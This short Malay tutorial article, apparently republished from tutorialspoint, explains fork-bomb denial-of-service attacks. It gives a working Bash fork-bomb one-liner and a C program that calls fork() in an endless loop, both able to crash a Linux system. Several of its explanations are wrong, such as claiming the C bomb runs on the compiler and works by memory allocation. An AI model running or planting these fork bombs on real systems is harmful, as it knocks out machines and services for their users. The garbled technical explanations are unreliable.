Rumah  >  Artikel  >  pembangunan bahagian belakang  >  Bom C lwn BASH Fork?

Bom C lwn BASH Fork?

王林
王林ke hadapan
2023-09-13 10:25:021404semak imbas

C vs BASH Fork bomb? C对BASH的Fork炸弹?

Bom Fork() ialah serangan Dos (Penolakan Perkhidmatan) pada sistem berasaskan Linux. Ini memanggil sistem Fork() beberapa kali yang tidak terhingga, mengisi memori program dengan niat untuk merosakkan sistem.

Skrip Bash untuk fork bomb

:(){ :|: & };:

Kod dijelaskan sebagai: ( ) ialah takrifan fungsi, { } mentakrifkan badan gelung. :|:& mencipta lokasi memori dan tidak membenarkannya dibebaskan. Program ini memanggil dirinya beberapa kali, lagi dan lagi. Ini membolehkan panggilan tanpa had.

C fork bomb juga adalah jenis DOS yang sama, tetapi ia dijalankan pada pengkompil C. Ini mencipta panggilan tak terhingga kepada peruntukan memori dan menyebabkan sistem kehabisan memori.

Contoh

#include <unistd.h>
#include <malloc.h>
int main() {
   while (1) {
      fork();
   }
}

Output

Infinite calls

Atas ialah kandungan terperinci Bom C lwn BASH Fork?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:tutorialspoint.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam